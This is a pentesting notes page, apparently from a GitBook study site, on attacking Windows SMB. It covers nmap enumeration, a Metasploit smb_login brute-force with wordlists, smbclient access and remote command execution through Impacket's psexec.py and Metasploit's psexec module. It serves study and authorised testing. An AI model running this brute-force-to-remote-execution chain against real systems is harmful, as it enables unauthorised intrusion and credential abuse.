Dark Arts
  • index
  • BUY ME A BOOK
  • 🪄Dark Magic
    • Pentesting
      • Industry Methodologies
    • Scopes of Testing
    • Reconnaissance
      • Passive
        • WHOIS
        • DNS
          • nslookup
          • dig
        • WAF
        • Subdomain
        • Google Dork
        • Misc. Techniques
        • Leaked Passwords
      • Active
        • Browser & Plugins
        • ping & traceroute
        • fping
        • telnet & netcat
        • DNS
          • Zone Transfer
          • DNS Amplification DDoS Attack Breakdown
        • Misc. Techniques
    • Vulnerability Assessment
    • Attack Types
  • 🕷️Aragoogs Nest
    • Web Application Overview & Security
      • Security Testing
      • Common Threats & Risks
    • Web Application Architecture
      • Technologies
    • HTTP/S
      • Message
      • Request
      • Response
        • Status Code
    • Crawling/Spidering
  • 🧪Potions
    • Web Browsers
    • Computer Networking
      • Network Protocol
      • Packets
      • OSI Layer
        • Layer 3: Network
        • Layer 4: Transport
      • DNS
        • Primary-Secondary
        • Local Name Resolution
        • Domain Hierarchy
        • FQDN
        • Lookups
        • DNS Resolution
        • DNS Records
        • Security: Attack-Defense (Default)
  • 🎆Spells
    • 📜Linux Scroll
    • 📜WebShell Scroll
    • git
      • Attacks + Vulnerabilities
  • 🖼️Flaws w/ Magical Frameworks
    • Windows
      • In a Nutshell
      • CVE-2019-0708: BlueKeep
      • CVE-2017-0144: EternalBlue: MS17-010
      • Attacking Services
        • MS IIS - WebDAV
        • SMB
        • HTTP File Server (HFS)
        • Apache Tomcat Web Server
        • RDP
        • WinRM
      • File System Vulnerabilities
      • Credential Dumping
        • Password Search in Windows Configuration Files
        • Mimikatz
        • Pass-the-Hash Attack
    • Linux
      • In a Nutshell
      • CVE-2014-6271: Shellshock
      • Attacking Services
        • FTP
        • SSH
        • SAMBA
        • SMTP
        • RSYNC
      • Dumping Hashes
  • 🌼Marauder's Boost
    • Privilege Escalation
    • Windows PrivEsc
      • Windows Kernel Exploit
      • Bypassing UAC
      • Access Token Impersonation
    • Linux PrivEsc
      • Linux Kernel Exploit
      • Misconfigured Cron Jobs
      • Exploiting SUID Binaries
      • shells
      • File Permissions
  • ☠️Death Eaters
    • Post Exploitation
      • Windows
      • Linux
  • 🪄OLLIVANDERS
    • nmap
      • Host Discovery
      • Port Scan
      • Service & OS
      • NSE
      • Firewall/IDS Evasion
      • Scan Optimization
      • Misc. Methods
    • ffuf
    • Hydra
    • Metasploit Framework
      • Architecture
      • Must to Know
      • msfvenom
      • Auxiliary Modules
      • Service Enumeration
      • Vulnerability Scanning
      • Imports
      • Automating
    • Vulnerability Scanners
    • Wireshark
  • 🚂Platform 9(3/4)
    • Auth-Auth
      • Authentication
        • Password-based Authentication
        • Basic Authentication
        • Multi-factor Authentication
        • Access Token
        • Token-based Authentication
          • JWT
          • OAuth 2.0
    • Secure Headers
      • Content-Security-Policy (CSP)
    • Cryptography
      • Caesar Cipher
  • ⛲Port Pensieve
    • Enumeration
      • SMB & NetBIOS
      • SNMP
    • Wordlists
  • 🔆DUELS
    • Pivoting
    • SMB Relay Attack
  • 🗺️Marauder's Map
    • Web Application Pentesting
    • API Pentesting
      • GraphQL
        • Primer
    • Mobile Application Pentesting
  • 🎧SIDE CHANNEL
    • Side Channel Analysis
    • Timing Side-Channel Attacks
      • Vulnerable Login
  • 🥃Sky
    • Cloud Basics
    • Cloud Management
      • Shared Responsibility Model
    • Using Cloud Resources
      • Monitoring & Alerts
      • Identity & Access Management
      • Scalability & Availability
      • Solution Design
    • Cloud Providers
    • Cloud Security & Regulatory Compliance
      • Resource Protection
      • ICCA: Cloud Security & Regulatory Compliance
    • ICCA Preparation
      • Knowledge Tests
      • Lab
  • 🔷Obsidian
    • Pentest Engagement
      • Scoping
    • Pentest Ethics
      • Rules of Engagement
    • Auditing Fundamentals
      • Process/Lifecycle
      • Pentest & Security Auditing
      • GRC
      • Standards, Frameworks & Guidelines
      • From Audit to Pentest
  • 💢Threat Modeling
    • Why Threat Model?
  • 📡THREAT INTEL
    • Threat Intelligence
    • Tool Dump
  • 📱Anything-Mobile-IoT
    • Firmware
    • Firmware Analysis
      • Example: CVE-2016-1555
    • Firmware Installation/Flashing
  • 🎉Mischeif
    • Social Engineering
    • Phishing
      • GoPhish
    • Pretexting
Powered by GitBook
On this page
  • SMB
  • SMB Authentication
  • PsExec
  • SMB Exploitation w/ PsExec
  • Enumeration
  • Brute-force SMB Login
  • w/ Metasploit
  1. Flaws w/ Magical Frameworks
  2. Windows
  3. Attacking Services

SMB

PreviousMS IIS - WebDAVNextHTTP File Server (HFS)

Last updated 4 months ago

SMB

SMB (Server Message Block) is a network file-sharing protocol used to share files, printers, and serial ports between computers on a local area network (LAN). It operates over port 445 (TCP), though it originally ran on top of NetBIOS using port 139. SMB allows devices to communicate and share resources like files and printers seamlessly. SAMBA, an open-source Linux implementation of SMB, enables Windows systems to access Linux shares and devices.

SMB uses two levels of authentication:

  1. User Authentication – Users must provide a valid username and password to authenticate with the SMB server.

  2. Share Authentication – A password is required to access restricted shared resources.

Both authentication levels rely on a challenge-response authentication system to verify access.

SMB Authentication

  • Client sends an authentication request to the Server.

  • The Server responds by encrypting a challenge string with the hash of the user's credentials.

  • The Client returns the encrypted string to the Server.

  • If the Server verifies the response, Access is Granted.

PsExec

PsExec is a lightweight telnet-replacement tool developed by Microsoft that enables you to execute processes on remote Windows systems using any user’s credentials. It authenticates through SMB. PsExec allows legitimate authentication with the target system to run arbitrary commands or launch a remote command prompt. Unlike RDP, which provides GUI control, PsExec sends commands via the command line (CMD).

SMB Exploitation w/ PsExec

To gain access to a Windows target using PsExec:

  1. Identify legitimate user accounts and their passwords or hashes, typically done by performing an SMB login brute-force attack.

    • Focus on common Windows accounts like "administrator".

  2. Perform SMB brute-force attack using tools to guess valid credentials for the target system.

  3. Once valid credentials are obtained, use PsExec to authenticate with the target system.

  4. Execute arbitrary system commands or obtain a reverse shell on the target via PsExec.

Brute-force -> Obtain Credentials -> Authenticate with PsExec -> Run Commands / Reverse Shell

Enumeration

nmap -sV -sC [IP]
nmap -p 445 --script smb-protocols [IP]

Brute-force SMB Login

msfconsole -q
search smb_login
use scanner/smb/smb_login
show options
set RHOSTS [Target IP]
set USER_FILE /usr/share/metaspolit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metaspolit-framework/data/wordlists/unix_passwords.txt
run 

# accessing smb
smbclient -L //TARGET_IP -U USERNAME
smbclient //TARGET_IP/SHARE_NAME -U USERNAME

PsExec is a Windows utility or portable executable, but since Linux systems cannot natively run Windows executables, you cannot directly execute PsExec on Linux. However, the psexec.py script from the Impacket toolkit provides a Python-based alternative, allowing you to use PsExec functionality on Linux by interacting with Windows systems. This script enables remote command execution on Windows targets via SMB, similar to the original PsExec utility.

https://github.com/fortra/impacket/tree/master
https://github.com/fortra/impacket/blob/master/examples/psexec.py
python3 psexec.py Administrator(user)@[TargetIP] cmd.exe

w/ Metasploit

use windows/smb/psexec
show options
set RHOSTS
set SMBPass
set SMBUser
🖼️